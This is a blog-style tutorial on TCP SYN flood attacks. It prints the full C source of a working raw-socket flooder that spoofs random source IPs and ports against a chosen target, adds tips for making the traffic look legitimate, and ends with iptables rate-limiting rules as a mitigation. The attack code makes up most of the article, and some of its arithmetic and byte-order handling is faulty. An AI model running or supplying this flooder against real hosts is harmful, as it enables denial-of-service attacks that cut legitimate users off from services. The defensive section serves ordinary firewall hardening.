This article will outline what a SYN flood is, it will give an example of a program that I wrote in C to produce a SYN flood with random source IP address and random source port to a target IP and target port, as well as how a firewall can mitigate a SYN flood attack using IPtables.
What Is A SYN Flood?
A SYN flood is aptly named, within the TCP header there are bit flags to indicate the TCP state in which a TCP session is in. A SYN flag is used to designate a new connection is incoming, and thus a server will reply with a SYN, ACK (two bits in the flags field are set), and thus a connection can be established. A flood, is the sheer magnitude of TCP syn packets sent to a server. After the server receives these packets it will send the reply to the source and port of the SYN packet, and thus creating a large set of outgoing packets itself and put a toll on the server to respond. The server will also sit waiting (for a predetermined amount of time) for the ACK to come back from the initial SYN sender, of course this will never happen because the SYN flood is simply meant to hog the server resources in the form of a denial of service (DOS) attack. When a legitimate user makes a request the server will not respond because it is already consumed by the half-opened connections from the SYN flood.
Crafting these packets in C is actually quite easy. The main piece of the puzzle is using a RAW socket, that allows the programmer to craft the packet in any way he/she sees fit. In this case the raw socket is used to build a TCP packet with the SYN flag set and random source IP/port data. Note, you must be running as root to send these packets.
C SYN Flood Program
The code for the program:
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#define MAX_PACKET_SIZE 4096
/* ugh..so many magic numbers in here */
/* function for header checksums */
unsigned short csum (unsigned short *buf, int nwords)
{
unsigned long sum;
for (sum = 0; nwords > 0; nwords--)
sum += *buf++;
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return (unsigned short)(~sum);
}
void setup_ip_header(struct iphdr *iph)
{
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = htons(sizeof(struct iphdr) + sizeof(struct tcphdr));
iph->id = htonl(54321);
iph->frag_off = 0;
iph->ttl = MAXTTL;
iph->protocol = 6; // upper layer protocol, TCP
iph->check = 0;
// Initial IP, changed later in infinite loop
iph->saddr = inet_addr("192.168.3.100");
}
void setup_tcp_header(struct tcphdr *tcph)
{
tcph->source = htons(5678);
tcph->seq = random();
tcph->ack_seq = 0;
tcph->res2 = 0;
tcph->doff = 5; // Make it look like there will be data
tcph->syn = 1;
tcph->window = htonl(65535);
tcph->check = 0;
tcph->urg_ptr = 0;
}
int main(int argc, char *argv[ ])
{
char datagram[MAX_PACKET_SIZE];
struct iphdr *iph = (struct iphdr *)datagram;
struct tcphdr *tcph = (struct tcphdr *)((u_int8_t *)iph + (5 * sizeof(u_int32_t)));
struct sockaddr_in sin;
char new_ip[sizeof "255.255.255.255"];
if(argc != 3){
fprintf(stderr, "Invalid parameters!\n");
fprintf(stdout, "Usage: %s <target IP/hostname> <port to be flooded>\n", argv[0]);
exit(-1);
}
int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
if(s < 0){
fprintf(stderr, "Could not open raw socket.\n");
exit(-1);
}
unsigned int floodport = atoi(argv[2]);
sin.sin_family = AF_INET;
sin.sin_port = htons(floodport);
sin.sin_addr.s_addr = inet_addr(argv[1]);
// Clear the data
memset(datagram, 0, MAX_PACKET_SIZE);
// Set appropriate fields in headers
setup_ip_header(iph);
setup_tcp_header(tcph);
tcph->dest = htons(floodport);
iph->daddr = sin.sin_addr.s_addr;
iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
/* a IP_HDRINCL call, to make sure that the kernel knows
* the header is included in the data, and doesn't insert
* its own header into the packet before our data
*/
int tmp = 1;
const int *val = &tmp;
if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
exit(-1);
}
for(;;){
if(sendto(s, /* our socket */
datagram, /* the buffer containing headers and data */
iph->tot_len, /* total length of our datagram */
0, /* routing flags, normally always 0 */
(struct sockaddr *) &sin, /* socket addr, just like in */
sizeof(sin)) < 0) /* a normal send() */
fprintf(stderr, "sendto() error!!!.\n");
else
fprintf(stdout, "Flooding %s at %u...\n", argv[1], floodport);
// Randomize source IP and source port
snprintf(new_ip,16,"%lu.%lu.%lu.%lu",random() / 255,random() / 255,random() / 255,random() / 255);
iph->saddr = inet_addr(new_ip);
tcph->source = htons(random() % 65535);
iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
}
return 0;
}
As you can see from the above example, the code is quite basic and uses a sendto() at the end to actually send the packet. I added the randomization to look as though the source is another user. In fact you could potentially add a randomized time delay between requests to look more legitimate. Another option is to set other TCP flags with the SYN, such as a SYN-RST, or something along those lines.
The Wireshark output from the destination machine:
As you can see the source IP and source port are randomized. Note the time between each packet is very small, hence the bombing.
Mitigate A SYN Flood With IPtables
The example I have listed above is a very basic form of a SYN flood generation tool. However, it undoubtedly could disrupt connections on older machines or ancient hardware. Luckily this can be avoided or dealt with via IPtables rules in your firewall. For instance:
# Permit only two (2) TCP connections to port 23
iptables -A INPUT -p tcp --syn --dport 23 -m connlimit --connlimit-above 2 -j REJECT
# or you can use this to setup a chain with a rate limit and a logging mechanism
iptables -N syn-flood
iptables -A syn-flood -m limit --limit 100/second --limit-burst 150 -j RETURN
iptables -A syn-flood -j LOG --log-prefix "SYN flood: "
iptables -A syn-flood -j DROP
The tricky part with mitigating a SYN flood is that you may be running a website where you want port 80 to be open and would rather not place a limit on how many connections can be handled in cases where you expect many user connections.
Another method of protecting TCP service ports on your box is to utilize what is known as port knocking. A fellow Canadian, YEAH, wrote a program called knockd which will only open a port if you use a secret knock. Once the knock is correctly done the TCP port will open and you can continue on your way.
I hope this article was insightful and you now have a better understanding of what a SYN flood is, how it could be programmed, and ways to avoid it.